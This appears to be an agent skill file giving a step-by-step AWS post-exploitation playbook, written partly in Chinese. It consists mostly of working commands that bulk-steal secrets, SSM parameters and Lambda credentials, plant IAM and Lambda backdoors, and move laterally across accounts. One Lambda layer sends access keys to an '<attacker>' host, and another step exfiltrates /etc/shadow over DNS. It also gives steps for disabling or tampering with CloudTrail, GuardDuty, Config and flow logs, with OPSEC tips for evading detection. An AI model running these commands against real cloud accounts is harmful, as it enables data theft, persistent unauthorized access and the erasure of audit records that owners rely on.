After completing privilege escalation in an AWS environment, the attack enters the post-exploitation phase. Unlike traditional penetration testing, post-exploitation in cloud environments faces unique challenges: data is scattered across dozens of managed services (S3/RDS/DynamoDB/SecretsManager, etc.), lateral movement is primarily based on cross-account role chains rather than network-layer pivoting, and persistence backdoors can be an IAM key, an EventBridge rule, or a Lambda Layer—all operations are under CloudTrail's monitoring.
Core Approach: Cloud post-exploitation is "API-driven"—every step is an API call that leaves logs. Therefore, attackers must balance between "obtaining value" and "controlling noise." This skill is organized into 4 phases: data discovery and theft → lateral movement → persistence → trace cleanup.
In-Depth Reference
After identifying a specific post-exploitation scenario, load the corresponding reference document to obtain complete technical details:
- Data theft commands and techniques for various services (S3/EBS/RDS/DynamoDB/Lambda/Secrets, etc.) → Read references/data-exfiltration.md
- Complete collection of persistence backdoor techniques (IAM/Lambda/EC2/EventBridge/SNS/CloudTrail evasion, etc.) → Read references/persistence-backdoor.md
Phase 1: Data Discovery and Theft
After obtaining high privileges, the primary goal is to discover and steal high-value data. Select target services according to the following decision tree:
数据在哪里?
├─ 对象存储
│ ├─ S3 Bucket → 批量下载 / 设为公开 / 跨账户复制
│ └─ Glacier/Deep Archive → RestoreObject 恢复后下载
│
├─ 数据库
│ ├─ RDS → 快照导出到 S3 / 重置密码直连 / 只读副本
│ ├─ DynamoDB → Scan 全表 / 导出到 S3 / Stream 实时捕获
│ ├─ Redshift → 跨账户快照共享 / Zero-ETL 复制
│ └─ ElastiCache → 快照导出 / 连接直读
│
├─ 块存储 / 磁盘
│ ├─ EBS 快照 → 跨账户共享快照 / 直接读取块级数据
│ ├─ EBS Multi-Attach → 只读挂载到攻击者实例
│ └─ AMI → CreateStoreImageTask 导出到 S3
│
├─ 凭据 / 密钥
│ ├─ SecretsManager → BatchGetSecretValue 批量提取
│ ├─ SSM Parameter Store → GetParametersByPath 递归获取
│ └─ Lambda 环境变量 → GetFunction 提取运行时凭据
│
├─ 日志 / 监控
│ ├─ CloudWatch Logs → FilterLogEvents 搜索敏感信息
│ └─ RDS 日志 → DownloadDBLogFilePortion 导出 SQL 日志
│
└─ 代码 / 配置
├─ CodeCommit → 克隆代码仓库
├─ Lambda 代码 → GetFunction 下载部署包
└─ S3 中的 Terraform State → 明文凭据和资源信息
High-Value Data Source Quick Reference
| Data Source | Key API / Command | Value |
|---|---|---|
| S3 Bucket | aws s3 sync s3://bucket ./loot/ |
Backups, logs, configurations, credentials |
| EBS Snapshot | aws ec2 create-snapshot → Cross-account sharing |
Complete file system |
| RDS Snapshot | aws rds create-db-snapshot → Public/cross-account |
Production database |
| DynamoDB | aws dynamodb scan --table-name X |
Business data |
| SecretsManager | aws secretsmanager batch-get-secret-value |
Database passwords, API Keys |
| SSM Parameters | aws ssm get-parameters-by-path --path / --recursive |
Configurations, credentials |
| Lambda Environment Variables | aws lambda get-function --function-name X |
Runtime credentials |
| CloudWatch Logs | aws logs filter-log-events --filter-pattern "password" |
Sensitive information leaked by applications |
Quick Data Discovery Commands
# 1. 枚举所有 S3 Bucket
aws s3 ls
# 检查 Bucket 策略和 ACL
aws s3api get-bucket-policy --bucket <name>
aws s3api get-bucket-acl --bucket <name>
# 2. 搜索 S3 中的敏感文件
aws s3 ls s3://<bucket>/ --recursive | grep -iE '\.env|credential|secret|\.pem|\.key|backup|\.sql'
# 3. 批量提取 Secrets
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# 4. 递归获取 SSM 参数
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
--query 'Parameters[].{Name:Name,Value:Value}'
# 5. 提取 Lambda 环境变量(含临时凭据)
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
echo "=== $fn ==="
aws lambda get-function-configuration --function-name "$fn" \
--query 'Environment.Variables'
done
→ Read references/data-exfiltration.md
Phase 2: Lateral Movement
AWS lateral movement occurs in three dimensions: cross-account, cross-region, and cross-service.
横向移动路径
├─ 跨账户移动
│ ├─ OrganizationAccountAccessRole(管理账户 → 成员账户)
│ │ └─ aws sts assume-role --role-arn arn:aws:iam::<member>:role/OrganizationAccountAccessRole
│ ├─ 跨账户信任角色(宽松 Principal)
│ │ └─ 枚举所有角色信任策略 → 发现 Principal: * 或外部账户
│ └─ 跨账户资源策略(S3/KMS/SNS/SQS)
│ └─ 检查资源策略中的 Allow 跨账户操作
│
├─ 跨区域移动
│ ├─ RDS 跨区域自动备份复制 → 在冷门区域恢复数据库
│ ├─ DynamoDB Global Table → 添加新区域副本
│ ├─ EBS 快照跨区域复制 → 在目标区域创建实例
│ └─ S3 跨区域复制规则
│
└─ 跨服务 / 网络移动
├─ SSM → EC2(SendCommand / StartSession)
├─ EC2 Instance Connect Endpoint → 私有实例 SSH
├─ ECS Agent 冒充 → 窃取同宿主机所有任务角色
├─ VPC Peering / VPN → 直连被害 VPC
└─ VPC 流量镜像 → 被动嗅探网络流量
Cross-Account AssumeRole Enumeration
# 枚举当前账户所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
trust=$(aws iam get-role --role-name "$role" \
--query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)
# 检查是否允许外部账户或 *
echo "$trust" | grep -qE '"AWS":\s*"\*"|:iam::[0-9]{12}:' && \
echo "[!] $role: $trust"
done
# Organizations:从管理账户枚举所有成员账户
aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'
# 尝试切换到成员账户的默认管理角色
aws sts assume-role \
--role-arn "arn:aws:iam::<member_account_id>:role/OrganizationAccountAccessRole" \
--role-session-name lateral
EC2 Instance Connect Lateral Movement
# 创建 EC2 Instance Connect Endpoint(用于访问私有子网实例)
aws ec2 create-instance-connect-endpoint \
--subnet-id <private-subnet-id> \
--security-group-ids <sg-id>
# 注入临时 SSH 公钥并连接
aws ec2-instance-connect send-ssh-public-key \
--instance-id <i-xxx> \
--instance-os-user ec2-user \
--ssh-public-key file://~/.ssh/id_rsa.pub
ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel \
--instance-id %h' ec2-user@<i-xxx>
SSM Lateral Movement
# 列出所有受 SSM 管理的实例
aws ssm describe-instance-information \
--query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Role:IamRole}'
# 在目标实例上执行命令
aws ssm send-command \
--instance-ids <i-xxx> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && whoami"]'
# 端口转发(SSM 隧道)
aws ssm start-session --target <i-xxx> \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["3306"],"localPortNumber":["3306"]}'
Phase 3: Persistence
Core goal of persistence: maintain access to the AWS environment even if credentials are rotated or the initial entry point is remediated.
Persistence Technique Decision Table
| Technique | Stealth | Persistence | Prerequisite Permissions | Detection Difficulty |
|---|---|---|---|---|
| IAM Backdoor User + Access Key | Low | Permanent (until deleted) | iam:CreateUser + iam:CreateAccessKey |
Low (easily discovered by IAM audit) |
| IAM Role Trust Policy Backdoor | Medium | Permanent | iam:UpdateAssumeRolePolicy |
Medium (requires auditing trust policies) |
| IAM Policy Version Backdoor | High | Permanent | iam:CreatePolicyVersion |
High (historical versions are not often checked) |
| STS Role Chain Juggling | High | Automatic renewal of temporary credentials | sts:AssumeRole(cyclic role chain) |
High (exploits normal features) |
| Lambda Layer/Extension backdoor | High | Until the Layer is removed | lambda:PublishLayerVersion + lambda:UpdateFunctionConfiguration |
High (can only be discovered through code audit) |
| Lambda alias weighted traffic shifting | High | Until the alias is modified | lambda:CreateAlias / lambda:UpdateAlias |
Very high (1% traffic is almost invisible) |
| Lambda asynchronous self-loop | High | Continuous (automatic re-triggering) | lambda:UpdateFunctionConfiguration(destination) |
High |
| EC2 UserData backdoor | Medium | Until the instance is replaced | ec2:ModifyInstanceAttribute |
Medium (inspect UserData content) |
| EC2 AMI backdoor | High | Subsequent instances inherit it | ec2:CreateImage |
High (AMI content is not often audited) |
| EventBridge scheduled rule | Medium | Continuous (scheduled triggering) | events:PutRule + events:PutTargets |
Medium (rules can be enumerated) |
| SNS subscription theft | High | Continuous | sns:Subscribe |
High (subscriptions are not often checked) |
| SSM Association scheduling | Medium | Continuous (scheduled execution) | ssm:CreateAssociation |
Medium |
| CloudTrail disabled | - | Cover for other operations | cloudtrail:StopLogging |
Low (GuardDuty alerts immediately) |
| GuardDuty evasion | High | Cover for other operations | guardduty:* |
Depends on the method |
IAM persistence quick operations
# 1. 创建后门用户
aws iam create-user --user-name svc-backup-agent
aws iam attach-user-policy --user-name svc-backup-agent \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-backup-agent
# 2. 后门角色信任策略(允许外部账户 AssumeRole)
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{
"Version":"2012-10-17",
"Statement":[{
"Effect":"Allow",
"Principal":{"AWS":["arn:aws:iam::<attacker_account>:root"]},
"Action":"sts:AssumeRole"
}]
}'
# 3. 策略版本后门(在非默认版本中隐藏 Admin 权限)
aws iam create-policy-version --policy-arn <policy_arn> \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--no-set-as-default
# 后续需要时切换为默认版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2
Lambda persistence (5 methods)
# 方法 1: Lambda Layer 注入后门代码
# 创建包含恶意初始化代码的 Layer
mkdir -p /tmp/layer/python && cat > /tmp/layer/python/backdoor.py << 'PYEOF'
import os, urllib.request
urllib.request.urlopen(f"https://<attacker>/exfil?key={os.environ.get('AWS_ACCESS_KEY_ID','')}")
PYEOF
cd /tmp/layer && zip -r layer.zip python/
aws lambda publish-layer-version --layer-name monitoring-ext \
--zip-file fileb:///tmp/layer/layer.zip --compatible-runtimes python3.9 python3.10 python3.11
aws lambda update-function-configuration --function-name <target_fn> \
--layers arn:aws:lambda:<region>:<account>:layer:monitoring-ext:1
# 方法 2: Lambda 别名权重分流(1% 流量路由到后门版本)
aws lambda publish-version --function-name <fn> --description "backdoor"
# 假设后门版本号为 2,合法版本为 3
aws lambda update-alias --function-name <fn> --name prod \
--routing-config '{"AdditionalVersionWeights":{"2":0.01}}'
# 方法 3: AWS_LAMBDA_EXEC_WRAPPER 环境变量 + Layer
# 通过 Layer 部署 /opt/bin/wrapper.sh,在 handler 之前执行
aws lambda update-function-configuration --function-name <fn> \
--environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'
# 方法 4: 异步自循环(Destination 自触发)
aws lambda update-function-configuration --function-name <fn> \
--destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}}'
aws lambda put-function-recursion-config --function-name <fn> \
--recursive-loop Allow
# 方法 5: 资源策略后门(隐藏版本的跨账户 Invoke 权限)
aws lambda add-permission --function-name <fn> --qualifier 1 \
--statement-id backdoor --action lambda:InvokeFunction \
--principal <attacker_account_id>
EventBridge scheduled persistence
# 创建定时规则,每 6 小时触发恶意 Lambda
aws events put-rule --name "sys-health-check" \
--schedule-expression "rate(6 hours)" \
--state ENABLED
aws events put-targets --rule "sys-health-check" \
--targets '[{"Id":"1","Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"}]'
# 授权 EventBridge 调用 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
--statement-id eventbridge --action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:<region>:<acct>:rule/sys-health-check
→ Read references/persistence-backdoor.md
Phase 4: Trace cleanup and detection evasion
CloudTrail evasion
CloudTrail is AWS's core auditing system, and all management events are recorded. Attackers have multiple ways to weaken it:
# 1. 直接停止日志记录(最粗暴,GuardDuty 会立即告警)
aws cloudtrail stop-logging --name <trail_name>
# 2. 删除 Trail(需先停止)
aws cloudtrail delete-trail --name <trail_name>
# 3. 修改 Trail 的 S3 Bucket(指向攻击者控制的桶或不存在的桶)
aws cloudtrail update-trail --name <trail_name> \
--s3-bucket-name <attacker_bucket_or_nonexistent>
# 4. 通过 S3 Lifecycle 规则自动删除日志文件
aws s3api put-bucket-lifecycle-configuration \
--bucket <cloudtrail_bucket> \
--lifecycle-configuration '{
"Rules":[{
"ID":"cleanup","Status":"Enabled",
"Filter":{"Prefix":"AWSLogs/"},
"Expiration":{"Days":1}
}]
}'
# 5. 禁用 CloudTrail Insights(减少异常检测能力)
aws cloudtrail put-insight-selectors --trail-name <trail> \
--insight-selectors '[]'
# 6. 减少数据事件记录(停止记录 S3/Lambda 数据事件)
aws cloudtrail put-event-selectors --trail-name <trail> \
--event-selectors '[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]'
OPSEC tip: Directly stopping CloudTrail will trigger a GuardDuty Stealth:IAMUser/CloudTrailLoggingDisabled alert. A more stealthy approach is to modify S3 Lifecycle rules so logs expire quickly, or modify event selectors to reduce the recording scope.
GuardDuty evasion
| Method | Command | Risk |
|---|---|---|
| Delete Detector | aws guardduty delete-detector --detector-id <id> |
Extremely high (Organization level may prevent it) |
| Add Trusted IP List | aws guardduty create-ip-set --detector-id <id> --format TXT --location s3://<bucket>/ips.txt --activate |
Medium (your own IP no longer generates alerts) |
| Archive Finding | aws guardduty archive-findings --detector-id <id> --finding-ids <ids> |
Medium (historical alerts disappear) |
| Automatic archive Filter | aws guardduty create-filter --detector-id <id> --name suppress --action ARCHIVE --finding-criteria ... |
High (future alerts are automatically archived) |
| Suspend member account | aws guardduty disassociate-members --detector-id <id> --account-ids <member> |
High (member account leaves monitoring) |
VPC Flow Logs evasion
# 删除 Flow Logs
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>
# 或将 Flow Logs 指向攻击者控制的 S3 桶
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> \
--traffic-type ALL --log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker_bucket>
AWS Config evasion
# 停止 Config Recorder(停止配置变更追踪)
aws configservice stop-configuration-recorder --configuration-recorder-name default
# 删除 Delivery Channel
aws configservice delete-delivery-channel --delivery-channel-name default
DNS data exfiltration (bypassing network isolation)
Even if an EC2 instance has outbound traffic fully locked down, DNS queries can still exfiltrate data:
# VPC Flow Logs 不记录 DNS 流量
# 通过 DNS TXT 查询外传数据
data=$(cat /etc/shadow | base64 | tr -d '\n')
for chunk in $(echo "$data" | fold -w 60); do
dig "$chunk.exfil.attacker.com" TXT +short
done
Disable DNS exfiltration:aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Notes
Key operational security (OPSEC) points
- High-risk CloudTrail events:
StopLogging、DeleteTrail、CreateUser、CreateAccessKey、PutBucketPolicy(publicized),ModifyDBInstance(password reset),ModifySnapshotAttribute(shared snapshot) - GuardDuty high-confidence alerts:
Stealth:IAMUser/CloudTrailLoggingDisabled— CloudTrail disabledUnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS— EC2 role credentials used externallyExfiltration:S3/AnomalousBehavior— Abnormal large-scale S3 readsPersistence:IAMUser/AnomalousBehavior— Abnormal IAM operations
- Rate control: AWS APIs have rate limits (usually 5-20 requests/second); be mindful of throttling during large-scale enumeration
- Region coverage: Resources are region-isolated. When exfiltrating data, you need to traverse all enabled regions (
aws ec2 describe-regions)
Recommended tools
| Tool | Purpose | Command |
|---|---|---|
| Pacu | AWS exploitation framework (enumeration/privilege escalation/post-exploitation/persistence) | run post_exploitation__s3_download |
| CloudFox | Attack path discovery | cloudfox aws --profile <p> all-checks |
| AWSRoleJuggler | Role Chain Juggling persistence | ./aws_role_juggler.py -r role1 role2 |
| Dufflebag | Automatic credential search in EBS snapshots | dufflebag search --region <r> |
| CloudShovel | Search for sensitive information in AMIs | Automatically launch instances for scanning |
| S3Scanner | S3 Bucket enumeration and data discovery | s3scanner scan --bucket <name> |
Cross-references
- Refer to the
aws-pentestingskill for the overall AWS attack workflow - Refer to the
aws-iam-privescskill for privilege escalation paths (pre-post-exploitation stage) - Refer to the
cloud-aksk-exploitskill for the complete AK/SK credential exploitation chain